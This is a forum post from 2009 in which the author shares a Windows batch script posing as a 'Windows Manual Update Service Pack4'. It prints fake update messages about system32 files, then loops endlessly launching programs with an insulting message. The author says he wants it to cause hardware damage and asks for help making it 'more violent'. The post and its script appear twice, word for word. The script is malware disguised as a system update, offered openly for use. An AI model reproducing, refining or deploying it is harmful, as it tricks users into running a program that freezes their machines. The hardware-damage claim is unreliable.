fake out script
Posted: Mon Jun 29, 2009 7:24 pm
im developing a new script it uses batch but im sure you can compile that into a .exe
ive gotten this far im still making it a bit more... violent
Title Windows Manual Update Service Pack4
Echo off
cd \
cls
:Intro
if exist C:WINDOWS/system32/ echo Need to update windows hold one moment.
ping localhost >null
if exist C:wINDOWS/system32/at.exe Echo Found File Update for system32/at.exe
ping localhost -n 2 >null
if exist C:wINDOWS/system32/atl.dll Echo Found File Update for system32/atl.dll
if exist C:wINDOWS/system32/atmadm.exe Echo Found File Update for system32/atmadm.exe
if exist C:wINDOWS/system32/ativdaxx.ax Echo Found File Update for system32/ativdaxx.ax
ping localhost -n 1 >null
if exist C:wINDOWS/system32/bootok.exe Echo Found File Update for system32/bootok.exe
ping localhost -n 1 >null
if exist C:wINDOWS/system32/browselc.exe Echo Found File Update for system32/browselc.exe
ping localhost -n 1 >null
if exist C:wINDOWS/system32/bitsprx3.dll Echo Found File Update for system32/bitsprx3.dll
if exist C:wINDOWS/system32/bootvrfy.exe Echo Found File Update for system32/bootvrfy.exe
if exist C:wINDOWS/system32/clipbrd.exe Echo Found File Update for system32/clipbrd.exe
if exist C:wINDOWS/system32/cmdl32.exe Echo Found File Update for system32/cmdl32.exe
if exist C:wINDOWS/system32/cmos.ram Echo Found File Update for system32/cmos.ram
ping localhost -n 1 >null
if exist C:wINDOWS/system32/cmpbk32.dll Echo Found File Update for system32/cmpbk32.dll
ping localhost -n 1 >null
if exist C:wINDOWS/system32/cmmgr32.exe Echo Found File Update for system32/cmmgr32.exe
ping localhost -n 1 >null
if exist C:wINDOWS/system32/cmd.exe Echo Found File Update for system32/cmd.exe
ping localhost -n 2 >null
if exist C:wINDOWS/system32/cacls.exe Echo Found File Update for system32/cacls.exe
if exist C:wINDOWS/system32/calc.exe Echo Found File Update for system32/calc.exe
if exist C:wINDOWS/system32/cabview.dll Echo Found File Update for system32/cabview.dll
ping localhost -n 2 >null
if exist C:wINDOWS/system32/cmmon32.exe Echo Found File Update for system32/cmmon32.exe
ping localhost -n 1 >null
if exist C:wINDOWS/system32/control.exe Echo Found File Update for system32/control.exe
ping localhost -n 2 >null
if exist C:wINDOWS/system32/convert.exe Echo Found File Update for system32/convert.exe
ping localhost -n 1 >null
if exist C:wINDOWS/system32/cryptdlg.dll Echo Found File Update for system32/cryptdlg.dll
ping localhost -n 1 >null
if exist C:wINDOWS/system32/cryptext.dll Echo Found File Update for system32/cryptext.dll
ping localhost -n 2 >null
if exist C:wINDOWS/system32/conime.exe Echo Found File Update for system32/conime.exe
ping localhost -n 2 >null
if exist C:wINDOWS/system32/console.dll Echo Found File Update for system32/console.dll
ping localhost -n 2 >null
if exist C:wINDOWS/system32/cryptnet.dll Echo Found File Update for system32/cryptnet.dll
cls
echo Searching...
ping localhost -n 23 >null
cls
if exist C:wINDOWS/system32/igfxres.dll Echo Found File Update for system32/igfxres.dll
if exist C:wINDOWS/system32/imm32.dll Echo Found File Update for system32/imm32.dll
if exist C:wINDOWS/system32/ils.dll Echo Found File Update for system32/ils.dll
ping localhost -n 1 >null
if exist C:wINDOWS/system32/imapi.exe Echo Found File Update for system32/imapi.exe
ping localhost -n 1 >null
if exist C:wINDOWS/system32/jet500.dll Echo Found File Update for system32/jet500.dll
ping localhost -n 2 >null
if exist C:wINDOWS/system32/iuengine.dll Echo Found File Update for system32/iuengine.dll
if exist C:wINDOWS/system32/ixsso.dll Echo Found File Update for system32/ixsso.dll
if exist C:wINDOWS/system32/ir50_32.dll Echo Found File Update for system32/ir50_32.dll
ping localhost -n 1 >null
if exist C:wINDOWS/system32/ir50_50_qc.dll Echo Found File Update for system32/ir50_qc.dll
ping localhost -n 1 >null
if exist C:wINDOWS/system32/jgaw400.dll Echo Found File Update for system32/jgaw.400.dll
if exist C:wINDOWS/system32/jgpl400.dll Echo Found File Update for system32/jgpl400.dll
if exist C:wINDOWS/system32/mdmxsdk.dll Echo Found File Update for system32/mdmxsdk.dll
echo Done... Begining update.
@echo off
:A
start notepad
start firefox
start wordpad
start cmd
start pinball
ECHO fuck you dick! hope you dont mind a brocken computer dick
goto :A
this should cause hardware damage if it is played long enough
any suggestions on the violent part would be nice
ive gotten this far im still making it a bit more... violent
Title Windows Manual Update Service Pack4
Echo off
cd \
cls
:Intro
if exist C:WINDOWS/system32/ echo Need to update windows hold one moment.
ping localhost >null
if exist C:wINDOWS/system32/at.exe Echo Found File Update for system32/at.exe
ping localhost -n 2 >null
if exist C:wINDOWS/system32/atl.dll Echo Found File Update for system32/atl.dll
if exist C:wINDOWS/system32/atmadm.exe Echo Found File Update for system32/atmadm.exe
if exist C:wINDOWS/system32/ativdaxx.ax Echo Found File Update for system32/ativdaxx.ax
ping localhost -n 1 >null
if exist C:wINDOWS/system32/bootok.exe Echo Found File Update for system32/bootok.exe
ping localhost -n 1 >null
if exist C:wINDOWS/system32/browselc.exe Echo Found File Update for system32/browselc.exe
ping localhost -n 1 >null
if exist C:wINDOWS/system32/bitsprx3.dll Echo Found File Update for system32/bitsprx3.dll
if exist C:wINDOWS/system32/bootvrfy.exe Echo Found File Update for system32/bootvrfy.exe
if exist C:wINDOWS/system32/clipbrd.exe Echo Found File Update for system32/clipbrd.exe
if exist C:wINDOWS/system32/cmdl32.exe Echo Found File Update for system32/cmdl32.exe
if exist C:wINDOWS/system32/cmos.ram Echo Found File Update for system32/cmos.ram
ping localhost -n 1 >null
if exist C:wINDOWS/system32/cmpbk32.dll Echo Found File Update for system32/cmpbk32.dll
ping localhost -n 1 >null
if exist C:wINDOWS/system32/cmmgr32.exe Echo Found File Update for system32/cmmgr32.exe
ping localhost -n 1 >null
if exist C:wINDOWS/system32/cmd.exe Echo Found File Update for system32/cmd.exe
ping localhost -n 2 >null
if exist C:wINDOWS/system32/cacls.exe Echo Found File Update for system32/cacls.exe
if exist C:wINDOWS/system32/calc.exe Echo Found File Update for system32/calc.exe
if exist C:wINDOWS/system32/cabview.dll Echo Found File Update for system32/cabview.dll
ping localhost -n 2 >null
if exist C:wINDOWS/system32/cmmon32.exe Echo Found File Update for system32/cmmon32.exe
ping localhost -n 1 >null
if exist C:wINDOWS/system32/control.exe Echo Found File Update for system32/control.exe
ping localhost -n 2 >null
if exist C:wINDOWS/system32/convert.exe Echo Found File Update for system32/convert.exe
ping localhost -n 1 >null
if exist C:wINDOWS/system32/cryptdlg.dll Echo Found File Update for system32/cryptdlg.dll
ping localhost -n 1 >null
if exist C:wINDOWS/system32/cryptext.dll Echo Found File Update for system32/cryptext.dll
ping localhost -n 2 >null
if exist C:wINDOWS/system32/conime.exe Echo Found File Update for system32/conime.exe
ping localhost -n 2 >null
if exist C:wINDOWS/system32/console.dll Echo Found File Update for system32/console.dll
ping localhost -n 2 >null
if exist C:wINDOWS/system32/cryptnet.dll Echo Found File Update for system32/cryptnet.dll
cls
echo Searching...
ping localhost -n 23 >null
cls
if exist C:wINDOWS/system32/igfxres.dll Echo Found File Update for system32/igfxres.dll
if exist C:wINDOWS/system32/imm32.dll Echo Found File Update for system32/imm32.dll
if exist C:wINDOWS/system32/ils.dll Echo Found File Update for system32/ils.dll
ping localhost -n 1 >null
if exist C:wINDOWS/system32/imapi.exe Echo Found File Update for system32/imapi.exe
ping localhost -n 1 >null
if exist C:wINDOWS/system32/jet500.dll Echo Found File Update for system32/jet500.dll
ping localhost -n 2 >null
if exist C:wINDOWS/system32/iuengine.dll Echo Found File Update for system32/iuengine.dll
if exist C:wINDOWS/system32/ixsso.dll Echo Found File Update for system32/ixsso.dll
if exist C:wINDOWS/system32/ir50_32.dll Echo Found File Update for system32/ir50_32.dll
ping localhost -n 1 >null
if exist C:wINDOWS/system32/ir50_50_qc.dll Echo Found File Update for system32/ir50_qc.dll
ping localhost -n 1 >null
if exist C:wINDOWS/system32/jgaw400.dll Echo Found File Update for system32/jgaw.400.dll
if exist C:wINDOWS/system32/jgpl400.dll Echo Found File Update for system32/jgpl400.dll
if exist C:wINDOWS/system32/mdmxsdk.dll Echo Found File Update for system32/mdmxsdk.dll
echo Done... Begining update.
@echo off
:A
start notepad
start firefox
start wordpad
start cmd
start pinball
ECHO fuck you dick! hope you dont mind a brocken computer dick
goto :A
this should cause hardware damage if it is played long enough
any suggestions on the violent part would be nice